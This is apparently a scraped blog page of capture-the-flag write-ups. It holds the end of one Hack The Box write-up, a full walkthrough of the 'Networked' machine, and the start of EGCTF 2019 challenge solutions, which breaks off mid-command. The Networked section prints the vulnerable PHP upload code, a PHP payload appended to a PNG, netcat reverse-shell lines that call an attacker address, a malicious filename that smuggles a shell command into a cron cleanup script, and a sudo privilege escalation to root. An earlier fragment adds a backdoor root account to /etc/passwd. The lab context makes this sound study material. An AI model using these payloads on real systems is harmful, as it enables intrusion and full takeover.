Created symlink /etc/systemd/system/root.service -> /dev/shm/root.service.
[email protected]:/dev/shm$ systemctl start root.service
[email protected]:/dev/shm$

Now if we check /etc/passwd weā€™ll see that it has been modified:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[email protected]:/dev/shm$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash
[email protected]:/dev/shm$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[email protected]:/dev/shm$ su rooot 
Password:
[email protected]:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/dev/shm# whoami
root
[email protected]:/dev/shm# cd /root/
[email protected]:~# ls -al
total 52
drwx------ 6 root root 4096 Mar 5 2019 .
drwxr-xr-x 23 root root 4096 Mar 3 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 4 root root 4096 Mar 3 2019 .cache
-rwxr--r-- 1 root root 42 Mar 4 2019 clean.sh
drwxr-xr-x 3 root root 4096 Mar 3 2019 .config
drwxr-xr-x 3 root root 4096 Mar 3 2019 .local
lrwxrwxrwx 1 root root 9 Mar 4 2019 .mysql_history -> /dev/null
drwxr-xr-x 2 root root 4096 Mar 2 2019 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
lrwxrwxrwx 1 root root 9 Mar 4 2019 .python_history -> /dev/null
-r-------- 1 root root 33 Mar 5 2019 root.txt
-rw-r--r-- 1 root root 66 Mar 4 2019 .selected_editor
-rwxr-xr-x 1 root root 5271 Mar 5 2019 sqli_defender.py
[email protected]:~#


And we owned root !
Thatā€™s it , Feedback is appreciated !
Donā€™t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Haystack
Next Hack The Box write-up : Hack The Box - Networked

Hack The Box - Networked

16 November 2019 at 03:00

Hack The Box - Networked

Quick Summary

Hey guys, today Networked retired and hereā€™s my write-up about it. It was a quick fun machine with an RCE vulnerability and a couple of command injection vulnerabilities. Itā€™s a Linux box and its ip is 10.10.10.146, I added it to /etc/hosts as networked.htb. Letā€™s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[email protected]:~/Desktop/HTB/boxes/networked# nmap -sV -sT -sC -o nmapinitial networked.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-16 01:16 EET
Nmap scan report for networked.htb (10.10.10.146)
Host is up (1.7s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.70 seconds
[email protected]:~/Desktop/HTB/boxes/networked#

We got ssh on port 22 and http on port 80, letā€™s check the web service.

Web Enumeration

The index page had nothing except for this message:

So I ran gobuster to check for sub directories and I found 2 interesting directories, /uploads and /backup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[email protected]:~/Desktop/HTB/boxes/networked# gobuster -u http://networked.htb/ -w /usr/share/wordlists/dirb/common.txt                                                                                                

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://networked.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/16 01:21:45 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/index.php (Status: 200)
/uploads (Status: 301)
=====================================================
2019/11/16 01:24:26 Finished
=====================================================
[email protected]:~/Desktop/HTB/boxes/networked#

In /backup I found a tar archive that had a backup of all the siteā€™s pages:

1
2
3
4
5
6
7
8
9
10
11
12
13
[email protected]:~/Desktop/HTB/boxes/networked# wget http://networked.htb/backup/backup.tar
--2019-11-16 01:25:13-- http://networked.htb/backup/backup.tar
Resolving networked.htb (networked.htb)... 10.10.10.146
Connecting to networked.htb (networked.htb)|10.10.10.146|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: ā€˜backup.tarā€™

backup.tar 100%[=====================================================================================================================>] 10.00K --.-KB/s in 0.1s

2019-11-16 01:25:13 (95.3 KB/s) - ā€˜backup.tarā€™ saved [10240/10240]

[email protected]:~/Desktop/HTB/boxes/networked#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[email protected]:~/Desktop/HTB/boxes/networked# mkdir backup
[email protected]:~/Desktop/HTB/boxes/networked# cd backup/
[email protected]:~/Desktop/HTB/boxes/networked/backup# mv ../backup.tar .
[email protected]:~/Desktop/HTB/boxes/networked/backup# tar xvf backup.tar
index.php
lib.php
photos.php
upload.php
[email protected]:~/Desktop/HTB/boxes/networked/backup# ls -la
total 36
drwxr-xr-x 2 root root 4096 Nov 16 01:26 .
drwxr-xr-x 3 root root 4096 Nov 16 01:25 ..
-rw-r--r-- 1 root root 10240 Jul 9 13:33 backup.tar
-rw-r--r-- 1 root root 229 Jul 9 13:33 index.php
-rw-r--r-- 1 root root 2001 Jul 2 13:38 lib.php
-rw-r--r-- 1 root root 1871 Jul 2 14:53 photos.php
-rw-r--r-- 1 root root 1331 Jul 2 14:45 upload.php
[email protected]:~/Desktop/HTB/boxes/networked/backup#

index.php:

1
2
3
4
5
6
7
8
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

lib.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php

function getnameCheck($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
#echo "name $name - ext $ext\n";
return array($name,$ext);
}

function getnameUpload($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
return array($name,$ext);
}

function check_ip($prefix,$filename) {
//echo "prefix: $prefix - fname: $filename\n";
$ret = true;
if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
$ret = false;
$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
} else {
$msg = $filename;
}
return array($ret,$msg);
}

function file_mime_type($file) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
if (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME);
if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
$file_type = $matches[1];
return $file_type;
}
}
}
if (function_exists('mime_content_type'))
{
$file_type = @mime_content_type($file['tmp_name']);
if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
{
return $file_type;
}
}
return $file['type'];
}

function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}

function displayform() {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
<input type="file" name="myFile">

<input type="submit" name="submit" value="go!">
</form>
<?php
exit();
}


?>

photos.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<html>
<head>
<style type="text/css">
.tg {border-collapse:collapse;border-spacing:0;margin:0px auto;}
.tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
.tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
.tg .tg-0lax{text-align:left;vertical-align:top}
@media screen and (max-width: 767px) {.tg {width: auto !important;}.tg col {width: auto !important;}.tg-wrap {overflow-x: auto;-webkit-overflow-scrolling: touch;margin: auto 0px;}}</style>
</head>
<body>
Welcome to our awesome gallery!</br>
See recent uploaded pictures from our community, and feel free to rate or comment</br>
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$ignored = array('.', '..', 'index.html');
$files = array();

$i = 1;
echo '<div class="tg-wrap"><table class="tg">'."\n";

foreach (scandir($path) as $file) {
if (in_array($file, $ignored)) continue;
$files[$file] = filemtime($path. '/' . $file);
}
arsort($files);
$files = array_keys($files);

foreach ($files as $key => $value) {
$exploded = explode('.',$value);
$prefix = str_replace('_','.',$exploded[0]);
$check = check_ip($prefix,$value);
if (!($check[0])) {
continue;
}
// for HTB, to avoid too many spoilers
if ((strpos($exploded[0], '10_10_') === 0) && (!($prefix === $_SERVER["REMOTE_ADDR"])) ) {
continue;
}
if ($i == 1) {
echo "<tr>\n";
}

echo '<td class="tg-0lax">';
echo "uploaded by $check[1]";
echo "<img src='uploads/".$value."' width=100px>";
echo "</td>\n";


if ($i == 4) {
echo "</tr>\n";
$i = 1;
} else {
$i++;
}
}
if ($i < 4 && $i > 1) {
echo "</tr>\n";
}
?>
</table></div>
</body>
</html>

upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
require '/var/www/html/lib.php';

define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];

if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}

if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}

//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}

if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";

// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
?>

/upload.php:

/photos.php:

RCE ā€“> Shell as apache

We can use upload.php to upload images then we can view them through photos.php or /uploads/image_name. For some time I tried to bypass the extension filter in upload.php to upload php files but I wasnā€™t able to bypass it. However I could get RCE by injecting php code in the uploaded images.
I got a solid black image and called it original.png, letā€™s upload it:




Now letā€™s copy that image and inject some php code into the new image:

1
2
3
4
5
6
[email protected]:~/Desktop/HTB/boxes/networked# cp original.png ./test.png
[email protected]:~/Desktop/HTB/boxes/networked# echo '<?php' >> test.png
[email protected]:~/Desktop/HTB/boxes/networked# echo 'passthru("whoami");' >> test.png
[email protected]:~/Desktop/HTB/boxes/networked# echo '?>' >> test.png
[email protected]:~/Desktop/HTB/boxes/networked# mv test.png test.php.png
[email protected]:~/Desktop/HTB/boxes/networked#

I injected <?php passthru("whoami"); ?> which should execute whoami, letā€™s test it:



Now if we view the file from /uploads we wonā€™t get the image, weā€™ll get the binary data of the image and the result of the executed php code at the end:

whoami got executed successfully and weā€™re the user apache.
I created another one to get a reverse shell:

1
2
3
4
5
[email protected]:~/Desktop/HTB/boxes/networked# cp original.png ./shell.php.png
[email protected]:~/Desktop/HTB/boxes/networked# echo '<?php' >> ./shell.php.png
[email protected]:~/Desktop/HTB/boxes/networked# echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f");' >> ./shell.php.png
[email protected]:~/Desktop/HTB/boxes/networked# echo '?>' >> ./shell.php.png
[email protected]:~/Desktop/HTB/boxes/networked#

And I got a shell as apache:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[email protected]:~/Desktop/HTB/boxes/networked# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:55662.
sh: no job control in this shell
sh-4.2$ whoami
whoami
apache
sh-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ hostname
hostname
networked.htb
sh-4.2$

Command Injection in check_attack.php ā€“> Shell as guly ā€“> User Flag

First thing I did after getting a shell was to make it stable:

1
2
3
4
5
6
7
8
9
10
11
12
sh-4.2$ which python
which python
/usr/bin/python
sh-4.2$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/networked# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/networked# nc -lvnp 1337

bash-4.2$ export TERM=screen
bash-4.2$

Then I started to enumerate the box, there was only one user on the box called guly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
bash-4.2$ cd /home/
bash-4.2$ ls -al
total 0
drwxr-xr-x. 3 root root 18 Jul 2 13:27 .
dr-xr-xr-x. 17 root root 224 Jul 2 13:27 ..
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 guly
bash-4.2$ cd guly/
bash-4.2$ ls -al
total 32
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 .
drwxr-xr-x. 3 root root 18 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-rw------- 1 guly guly 749 Nov 16 00:31 .viminfo
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-rw------- 1 guly guly 1920 Nov 16 00:27 dead.letter
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
bash-4.2$ cat user.txt
cat: user.txt: Permission denied
bash-4.2$

We canā€™t read the flag as apache, but there are some other interesting readable stuff, crontab.guly shows that /home/guly/check_attack.php gets executed as guly every 3 minutes:

1
2
3
bash-4.2$ cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
bash-4.2$

check_attack.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";

#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);

if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}

?>
bash-4.2$

This script checks for files that arenā€™t supposed to be in the uploads directory and deletes them, the interesting part is how it deletes the files, it appends the file name to the rm command without any filtering which makes it vulnerable to command injection:

1
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$path is the path of the uploads directory:

1
$path = '/var/www/html/uploads/';

And $value is the suspicious fileā€™s name.
We can simply go to /var/www/html/uploads and create a file that holds the payload in its name. The name will start with a semicolon ; (to inject the new command) then the reverse shell command.

1
2
3
bash-4.2$ cd /var/www/html/uploads
bash-4.2$ touch '; nc 10.10.xx.xx 1338 -c bash'
bash-4.2$

After some time I got a shell as guly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[email protected]:~/Desktop/HTB/boxes/networked# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:60812.
whoami
guly
python -c "import pty;pty.spawn('/bin/bash')"
[[email protected] ~]$ ^Z
[1]+ Stopped nc -lvnp 1338
[email protected]:~/Desktop/HTB/boxes/networked# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/networked# nc -lvnp 1338

[[email protected] ~]$ export TERM=screen
[[email protected] ~]$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
[[email protected] ~]$ ls -al
total 32
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 .
drwxr-xr-x. 3 root root 18 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-rw------- 1 guly guly 3072 Nov 16 00:48 dead.letter
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
-rw------- 1 guly guly 749 Nov 16 00:31 .viminfo
[[email protected] ~]$

We owned user.

Command Injection in the Network Script Name ā€“> Root Shell ā€“> Root Flag

As guly I checked sudo -l and found that guly can run /usr/local/sbin/changename.sh as root without a password:

1
2
3
4
5
6
7
8
9
10
11
12
13
[[email protected] ~]$ sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[[email protected] ~]$

changename.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[[email protected] ~]$ cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0
[[email protected] ~]$

This script simply creates a network script for an interface called guly then activates that interface. It asks the user for these options: NAME, PROXY_METHOD, BROWSER_ONLY, BOOTPROTO.

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

Weā€™re only interested in the NAME option because according to this page we can inject commands in the interface name. Letā€™s try to execute bash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[[email protected] ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test bash
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
[[email protected] network-scripts]# whoami
root
[[email protected] network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] network-scripts]# cd /root/
[[email protected] ~]# ls -la
total 28
dr-xr-x---. 2 root root 144 Jul 15 11:34 .
dr-xr-xr-x. 17 root root 224 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 root root 18 Dec 29 2013 .bash_logout
-rw-r--r--. 1 root root 176 Dec 29 2013 .bash_profile
-rw-r--r--. 1 root root 176 Dec 29 2013 .bashrc
-rw-r--r--. 1 root root 100 Dec 29 2013 .cshrc
-r--------. 1 root root 33 Oct 30 2018 root.txt
-rw-r--r--. 1 root root 129 Dec 29 2013 .tcshrc
-rw------- 1 root root 1011 Jul 15 11:34 .viminfo
[[email protected] network-scripts]#

And we got a root shell.

We owned root !
Thatā€™s it , Feedback is appreciated !
Donā€™t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Jarvis
Next Hack The Box write-up : Hack The Box - Chainsaw

EGCTF 2019 - Qualification Round

17 November 2019 at 03:00

EGCTF 2019 - Qualification Round

Introduction

I participated in EG-CTF 2019 qualification round which was held in Friday November 15 2019 and lasted for 26 hours, These are my quick write-ups for some of the challenges.

Starter: Decode me :)

Challenge Description:

1
2
3
4
5
Here you are

The message is 7uvxEhXkGkmPhYQtDE3Eg99ZKfr8kRwFe15nNkg9eyFLKXqe Good luck!!

Flag Format EGCTF{50m3_l337_73x7}

Solution:

This was a very easy one, weā€™re given an encoded string and we need to decode it to retrieve the flag, I tried some of the known encoding methods and found that it was base-58 encoded:

1
2
3
[email protected]:~/Desktop/EGCTF-Quals/starter/decode-me# base58 -d ./message.txt 
EGCTF{574r73r_ch4ll3n635_4r3_6r337}
[email protected]:~/Desktop/EGCTF-Quals/starter/decode-me#

Starter: JS CryptoMiner

Challenge Description:

1
2
3
We found this obfuscated JS code and we think it may be a cryptominer. Please confirm and extract the hidden flag.

var a=['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39','\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0xc7));var b=function(c,d){c=c-0x0;var e=a[c];if(b['mPLuJI']===undefined){(function(){var f=function(){var g;try{g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(h){g=window;}return g;};var i=f();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');for(var m=0x0,n,o,p=0x0,q='';o=l['charAt'](p++);~o&&(n=m%0x4?n*0x40+o:o,m++%0x4)?q+=String['fromCharCode'](0xff&n>>(-0x2*m&0x6)):0x0){o=j['indexOf'](o);}return q;});}());b['QMZCsz']=function(r){var s=atob(r);var t=[];for(var u=0x0,v=s['length'];u<v;u++){t+='%'+('00'+s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(t);};b['MdcAcN']={};b['mPLuJI']=!![];}var w=b['MdcAcN'][c];if(w===undefined){e=b['QMZCsz'](e);b['MdcAcN'][c]=e;}else{e=w;}return e;};variable=function(){flag=String[b('0x0')](0x45,0x47,0x43,0x54,0x46,0x7b,0x4a,0x61,0x76,0x61,0x53,0x63,0x72,0x69,0x70,0x74)+atob(b('0x1'));};another=!![];

Solution:

I used beautifier.io to beautify the javascript code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
var a = ['\x57\x44\x4a\x73\x65\x6c\x67\x77\x57\x6a\x46\x69\x62\x6a\x41\x39', '\x5a\x6e\x4a\x76\x62\x55\x4e\x6f\x59\x58\x4a\x44\x62\x32\x52\x6c'];
(function(c, d) {
var e = function(f) {
while (--f) {
c['push'](c['shift']());
}
};
e(++d);
}(a, 0xc7));
var b = function(c, d) {
c = c - 0x0;
var e = a[c];
if (b['mPLuJI'] === undefined) {
(function() {
var f = function() {
var g;
try {
g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
} catch (h) {
g = window;
}
return g;
};
var i = f();
var j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
i['atob'] || (i['atob'] = function(k) {
var l = String(k)['replace'](/=+$/, '');
for (var m = 0x0, n, o, p = 0x0, q = ''; o = l['charAt'](p++); ~o && (n = m % 0x4 ? n * 0x40 + o : o, m++ % 0x4) ? q += String['fromCharCode'](0xff & n >> (-0x2 * m & 0x6)) : 0x0) {
o = j['indexOf'](o);
}
return q;
});
}());
b['QMZCsz'] = function(r) {
var s = atob(r);
var t = [];
for (var u = 0x0, v = s['length']; u < v; u++) {
t += '%' + ('00' + s['charCodeAt'](u)['toString'](0x10))['slice'](-0x2);
}
return decodeURIComponent(t);
};
b['MdcAcN'] = {};
b['mPLuJI'] = !![];
}
var w = b['MdcAcN'][c];
if (w === undefined) {
e = b['QMZCsz'](e);
b['MdcAcN'][c] = e;
} else {
e = w;
}
return e;
};
variable = function() {
flag = String[b('0x0')](0x45, 0x47, 0x43, 0x54, 0x46, 0x7b, 0x4a, 0x61, 0x76, 0x61, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74) + atob(b('0x1'));
};
another = !![];

By looking at the end of the code weā€™ll see this function:

1
2
3
variable = function() {
flag = String[b('0x0')](0x45, 0x47, 0x43, 0x54, 0x46, 0x7b, 0x4a, 0x61, 0x76, 0x61, 0x53, 0x63, 0x72, 0x69, 0x70, 0x74) + atob(b('0x1'));
};

So what I did was to paste the code in the js console, call the function and read the flag:

1
2
3
4
5
6
7
8
9
[email protected]:~/Desktop/EGCTF-Quals/starter/JSCryptoMiner# js
